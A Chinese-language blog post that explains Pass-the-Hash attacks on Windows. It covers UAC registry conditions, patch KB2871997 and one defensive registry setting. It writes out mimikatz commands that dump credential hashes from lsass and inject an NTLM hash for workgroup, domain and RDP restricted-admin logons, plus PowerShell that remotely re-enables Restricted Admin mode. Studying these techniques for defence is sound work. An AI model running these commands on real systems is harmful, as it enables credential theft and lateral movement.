PTH(Pass The Hash)攻击分析

发布于 2024-07-22 07:07:35 字数 4266 浏览 15 评论 0

1 概述

获取一台主机的本地管理员组成员账号的口令 NTLM 后,不需破解获取口令明文,使用 PTH 方式,将管理员账号及 NTLM 注入当前会话作为凭据,利用该凭证可以渗透获取周围主机的管理权限。

对方主机需存在相同的账号,且是管理员组成员

  • Windows NT 5.x 系统中,管理员组账号的网络登录均能获取系统管理权
  • Windows NT 6.x 系统及更高的版本中,管理员组( SID500 ) 账号的网络登录不能获取系统管理权限, administrator (SID 为 500) 账号的网络登录能获取系统管理权

这类攻击适用于:

  • 域/工作组环境
  • 可以获得 hash,但是条件不允许对 hash 爆破
  • 内网中存在和当前机器相同的密码

2 UAC

用户帐户控制 ( User Account Control ) 是 Windows Vista (及更高版本操作系统)中一组新的基础结构技术,可以帮助阻止恶意程序(有时也称为"恶意软件")损坏系统,同时也可以帮助组织部署更易于管理的平台。 使用 UAC ,应用程序和任务总是在非管理员帐户的安全上下文中运行,但管理员专门给系统授予管理员级别的访问权限时除外。 UAC 会阻止未经授权应用程序的自动安装,防止无意中对系统设置进行更改。

用户帐户控制( UAC ) 是新版 Windows 的核心安全功能,也是其最常被人误解的众多安全功能当中的一种。

  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken ,UAC 就是通过上面的注册表键值来判断,默认设置为 0。如果设置为 1,则 SID 为 500 的管理员也不能通过网络登录的方式获取高权限。
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy ,如果在注册表中有这个键值,并且设置为 1,则所有的管理组成员都可以通过网络登录获取高权限。且管上面的一个表项 FilterAdministratorToken 的值。

3 攻击

mimikatzpth 功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程 lsass.exe 的信息

对于 8.1/2012r2 ,安装补丁 KB2871997Win 7/2008r2/8/2012 ,可以使用 AES keys 代替 NT hash

使用 mimikatz 先获取 hash :

privilege::debug
sekurlsa::logonpasswords

得到 hash 后

3.1 工作组

sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ccef208c6485269c20db2cad21734fe7

微软也对 pth 打过补丁,然而在测试中发现,在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator (SID 500) 账号例外,利用这个账号仍可以进行 Pass The Hash 远程 ipc 连接。

3.2 域内用户

前提是:域用户为本地管理组成员

sekurlsa::pth /user:eviluser /domain:adsec.com /ntlm:ccef208c6485269c20db2cad21734fe7

域内用户不受补丁影响。

4 KB2871997

Changes to this feature include: prevent network logon and remote interactive logon to domain-join ed machine using local accounts…

安装 KB2871997 补丁后,其他方面并没有太多的变化 。补丁会给本地账号添加一个 S-1-5-113SID ,为管理组中的本地账号添加一个 S-1-5-114SID ,这样方便通过域策略进行管理,例如从域策略中全面禁止这类账号的网络登录。

5 针对 RDP 的 hash 传递攻击

说起 hash 传递攻击(pth),想到一般的都是 psexec wce mimikatz 等直接执行命令。

本节绍了一种利用 mimikatz + NThash 来启动 mstsc.exe 实现远程登陆 windows 桌面的方法,对不能执行命令又破解不出密码的环境有很大的帮助。其原理(条件)是远程目标需要使用受限管理模式(Restricted Admin Mode),因为此模式下支持 kerberos 认证,所以能使用 hash 来登陆。

sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"

如果受限管理模式被禁用,使用如下命令开启:

mimikatz.exe "sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:powershell.exe"

在弹出的 powershell 窗口修改注册表:

Enter-PSSession -Computer <Target>
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force

6 防御

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Policies\System\FilterAdministratorToken ,系统中一个有 Admin ApprovalModeUAC 就是通过上面的注册表键值来判断,默认设置为 0 。如果设置为 1 ,则 SID500 的管理员也不能通过网络登录的方式获取高权限。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

琉璃繁缕

暂无简介

0 文章
0 评论
23 人气
更多

推荐作者

玍銹的英雄夢

文章 0 评论 0

我不会写诗

文章 0 评论 0

十六岁半

文章 0 评论 0

浸婚纱

文章 0 评论 0

qq_kJ6XkX

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文